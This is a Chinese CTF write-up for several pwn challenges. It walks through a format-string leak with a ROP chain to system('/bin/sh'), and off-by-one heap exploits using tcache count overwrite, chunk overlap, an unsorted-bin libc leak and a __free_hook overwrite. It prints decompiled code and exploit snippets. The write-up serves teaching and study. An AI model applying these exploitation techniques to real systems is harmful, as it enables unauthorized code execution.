pwnpwn
简单的格式化字符串漏洞由于程序本身会打印一个当前地址,只需要减去当前函数的偏移即可获取elf基地址
通过格式化字符串漏洞泄露canary
最后用ROPgadget寻找可用gadget,用ret,劫持执行流,pop rdi ;ret传参”bin/sh”,再进入system函数
bitfile
漏洞出现在edit中,因为在读入时多出了一个字符,所以造成了off-by-one 漏洞。
观察代码,可以先泄露tchec地址,向tcache->counts[tc_idx]写入7,即填满,然后在通过构造堆重叠泄露出unsortbin,从而进行攻击。
v7 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&unk_1054, &v6);
v0 = v6;
if ( v6 <= 0x1F )
{
if ( ptrs[v6] )
{
__printf_chk(1LL, "Content: ");
v1 = sizes[v0];
v2 = (_BYTE *)ptrs[v0];
max_size = v1 + 1;
if ( max_size )
{
v4 = &v2[max_size];
do
{
read(0, v2, 1uLL);
if ( *v2 == 10 )
break;
++v2;
}
while ( v2 != v4 );
}
}
}
return __readfsqword(0x28u) ^ v7;
}
又因为在add函数中限制了chunk的大小,所以我们要通过合并堆从而泄露libc.
unsigned __int64 add()
{
size_t v0; // rbx
size_t size_; // rbp
void *v3; // rax
size_t size; // [rsp+0h] [rbp+0h] BYREF
unsigned __int64 vars8; // [rsp+8h] [rbp+8h]
vars8 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&unk_1054, &size);
v0 = size;
if ( size <= 0x1F && !ptrs[size] )
{
__printf_chk(1LL, "Size: ");
__isoc99_scanf(&unk_1054, &size);
size_ = size;
if ( size <= 0x50 )
{
v3 = malloc(size);
if ( v3 )
{
ptrs[v0] = v3;
sizes[v0] = size_;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ vars8;
}
申请两个tcache,重新申请一个再泄露出tcache地址,先利用tcache_bin打印出tcache的地址。
rm(0)
md(2,b'A' * 0x48 + p8(0x50 + 0x51))
gdb.attach(io)
rm(4) #chunk 3 is 0xa1 ;
#gdb.attach(io)
ad(0, 0x48)
dp(0)
ru('Content: ')
leak = u64(ru('\n').ljust(8, b'\x00')) #tcache addr
heap = leak - 0x260 + 0x10 + 8 #to chunk first

通过溢出chunk(5)修改chunk(6)的size,形成堆重叠。将tcache->counts[tc_idx]的地址写入FD,下下个堆块就会分配到此处。
将idx设置为7,那么0xa0大小的chunk将会由unsortbin管理
rm(3)
#gdb.attach(io)
rm(11) # make 0x50 more leng
md(5,b'B' * 0x28 + p8(0x30 + 0x31))
rm(6)
rm(7)
ad(6, 0x50)
md(6, b'A' * 0x28 + p64(0x31) + p64(heap) + b'\n')
ad(3, 0x28)
ad(4, 0x28) #018
md(4, p64(7) + b'\n') # set 0xa0 chunk number as 7
#gdb.attach(io)
md(8,b'C' * 0x48 + p8(0x50 + 0x51))
rm(9)
#gdb.attach(io)
ad(9, 0x38)
dp(9)
泄露libc, 将chunk(9)的size改为0xa1,形成unsortbin,然后再次malloc,通过打印,并计算出libc基址
md(8,b'C' * 0x48 + p8(0x50 + 0x51))
rm(9)
ad(9, 0x38)
dp(9)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') #libc_base-get
libc_base = leak - libc.sym['__malloc_hook'] - 240 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
get_shell
通过同样的方式,溢出修改(13)的size,free(13) free(14)形成堆重叠,再malloc一个chunk使得可以修改(14)的fd 为 __free_hook ,再进行malloc,向__free_hook中写入system 。顺便将一个chunk写入(“/bin/sh\x00”),将其free即可
old_school && old_school_revenge

依然是一个off-by-one,但是限制了大小,所以我们需要通过合并堆来形成unsortbin ,从而泄露libc
先创建若干堆,然后free掉7个填充满tchack
for i in range(7):
ad(i,0x80)
ad(7,0x80)
ad(8,0x78)
ad(9,0x78)
ad(10,0x80)
ad(11,0x70)
ad(12,0x70)
for i in range(7):
rm(i)
利用chunk(9)来修改chunk(10)的pre_size,然后free(7),free(10),从而使得7–>10进行合并,之后可以切割unsortbin来进行泄露。

md(9, 'A' * 0x70 + p64(0x90 + 0x80 + 0x80) + '\x90')
rm(9)
rm(10)
ad(0, 0x60)
ad(1, 0x10)
dp(8)
leak = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
由于之前我们的chunk结构,所以我们选择在chunk(8),chunk(9)进行写入unsortbin。
因为chunk(8)的大小为0x78,为了溢出至chunk(9),我们需要malloc一个大chunk,从而可以修改到chunk(9)的FD
malloc后,往该堆填入数据直到chunk(9)的FD,写入__free_hook.
ad(2,0xa0)
payload = b'B'*0x80 + p64(__free_hook)+ p64(0) + b'\n'
md(2,payload)
#gdb.attach(io)
ad(4,0x70)
md(4,'/bin/sh\x00\n')
ad(5,0x70)
md(5,p64(system)+b'\n')
rm(4)
之后就按照流程进入system即可。




